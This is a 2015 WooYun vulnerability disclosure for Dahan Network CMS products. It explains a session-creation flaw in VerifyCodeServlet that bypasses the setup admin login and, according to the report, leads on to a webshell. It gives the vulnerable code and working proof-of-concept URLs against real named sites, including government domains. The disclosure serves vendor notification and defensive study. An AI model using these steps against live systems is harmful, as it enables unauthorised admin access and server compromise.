当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0107138

漏洞标题：大汉网络0day通杀所有系统和版本

相关厂商：南京大汉网络有限公司

漏洞作者： 矿主

提交时间：2015-04-10 18:12

修复时间：2015-07-14 10:38

公开时间：2015-07-14 10:38

漏洞类型：非授权访问/权限绕过

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-10： 细节已通知厂商并且等待厂商处理中
2015-04-15： 厂商已经确认，细节仅向厂商公开
2015-04-18： 细节向第三方安全合作伙伴开放
2015-06-09： 细节向核心白帽子及相关领域专家公开
2015-06-19： 细节向普通白帽子公开
2015-06-29： 细节向实习白帽子公开
2015-07-14： 细节向公众公开

简要描述：

管理后台权限绕过，进入后台后轻松GetShell，
经验证通杀所有系统和版本，包括：jcms，jact，jsearch，vipchat，vc，xxgk等等。
我估计这是大汉影响范围最大的漏洞了。求加精！

详细说明：

Setup目录Session权限绕过：

代码分析 /jcms/setup/opr_licenceinfo.jsp ：
  //获取Session中cookie_username的值，赋值给strUser 
 String strUser = (String)sessions.getAttribute("cookie_username");
 // 判断strUser值 是否为空？
 if( strUser == null || strUser.trim().length() == 0 ) {  
  out.println('请先登录!')
  return;
 }  //如果为空，则未登录，直接返回
// 如果不为空，说明已经登录


逆向java servlet 的代码 /VerifyCodeServlet

// 获取请求参数 var，赋值给 strVar 
 String strVar = Convert.getParameter(request, "var", ""); 
 if(strVar == null){ 
  request.getSession().setAttribute("COMPLAT", str_code); // 将随机码保存到SESSION中
 }else{
 // 如果 strVar 不为空的话，创建 strVar 为名称的 SESSION 值
  request.getSession().setAttribute(strVar, str_code); // 将随机码保存到SESSION中
 }
所以通过参数 var， 就可以控制SESSION的名称的创建


通过两个程序的分析，整理一下：
1. opr_licenceinfo.jsp需要一个SESSION cookie_username 不为空，就可以成功登录
2. /VerifyCodeServlet 可以 创建任意 SESSION的key值
所以两者配合，就可以构造成功登录了。

漏洞证明：

直接访问opr_licenceinfo.jsp 需要登录
http://www.zgzhijiang.gov.cn/jcms/setup/opr_licenceinfo.jsp

1.png


添加一个Session值 cookie_username
http://www.zgzhijiang.gov.cn/jcms/VerifyCodeServlet?var=cookie_username

1.png


然后再次访问/jcms/setup/opr_licenceinfo.jsp，成功登录。

1.png


Licence文件上传webshell漏洞，不演示了，参考：http://wooyun.org/bugs/wooyun-2010-052699
vipchat 的 POC：
http://sdds.gov.cn/vipchat/setup/
http://sdds.gov.cn/vipchat/VerifyCodeServlet?var=cookie_username
http://sdds.gov.cn/vipchat/setup/admin.jsp

1.png


jsearch 的 POC：
http://www.hyhjbh.com/jsearch/setup/
http://www.hyhjbh.com/jsearch/VerifyCodeServlet?var=cookie_username
http://www.hyhjbh.com/jsearch/setup/opr_licenceinfo.jsp

1.png


其他的大汉系统，就不一一罗列了，
这算是一个VerifyCodeServlet组件的逻辑漏洞吧，
大汉的所有系统都包含VerifyCodeServlet这个组件，用于生成验证码，
所以导致了所有系统的通杀，影响范围非常广了。
注意：
1. 有一些站点，访问setup目录，返回403，禁止了访问。
2. 大汉2015新版，不影响。

1.png


修复方案：

修复VerifyCodeServlet组件的逻辑。

版权声明：转载请注明来源 矿主@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2015-04-15 10:36

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2015-04-10 18:17 | xss_art ( 路人 | Rank:11 漏洞数:3 | 只会弹框框的跨站师。。。。)

    关注。。

  2. 2015-04-10 18:21 | 茜茜公主 ( 普通白帽子 | Rank:2360 漏洞数:406 | 家里二宝出生，这几个月忙着把屎把尿...忒...)

    ...

  3. 2015-04-10 18:45 | sql小神 ( 路人 | Rank:19 漏洞数:4 | 有些漏洞可以提，有些漏洞不可以提。)

    怎么找到的呢？

  4. 2015-04-10 18:59 | 命运 ( 路人 | Rank:2 漏洞数:1 | 我是来乌云秀智商下限的~~)

    炸了

  5. 2015-04-10 21:19 | 炊烟 ( 普通白帽子 | Rank:238 漏洞数:44 | 每一天都需要努力。)

    膜拜

  6. 2015-04-10 22:06 | xtnnd ( 普通白帽子 | Rank:180 漏洞数:43 )

    妈妈问我为什么跪着上网

  7. 2015-04-12 15:37 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    这个碉堡

  8. 2015-05-06 15:21 | Snake~ ( 路人 | Rank:4 漏洞数:1 | 0.0)

    妈妈问我为什么跪着上网

  9. 2015-05-10 07:25 | h4ckhell00 ( 路人 | Rank:10 漏洞数:2 | 最温暖的两个字是什么？1、我在。2、别怕。...)

    洞主M我~~~~ 有问题请教

  10. 2015-05-10 17:52 | Master ( 路人 | Rank:29 漏洞数:10 )

    這個吊。

  11. 2015-06-09 12:21 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    嘿嘿，给力，当时都没注意到这哈哈

  12. 2015-06-18 20:28 | 这只猪 ( 路人 | Rank:5 漏洞数:2 | 南无阿弥陀佛！)

    关注一下

  13. 2015-06-29 11:34 | 这只猪 ( 路人 | Rank:5 漏洞数:2 | 南无阿弥陀佛！)

    mark

  14. 2015-07-14 12:00 | bakde ( 路人 | Rank:23 漏洞数:3 | 我是一个很菜的白帽子)

    才给5rank

  15. 2015-07-14 14:05 | 网路游侠 ( 路人 | Rank:20 漏洞数:2 | 不玩渗透好多年……)

    rank=5 ??? 我没看花眼？？？

  16. 2015-07-15 10:54 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @网路游侠 没

  17. 2015-07-27 11:04 | 网路游侠 ( 路人 | Rank:20 漏洞数:2 | 不玩渗透好多年……)

    @wefgod 给的太低了……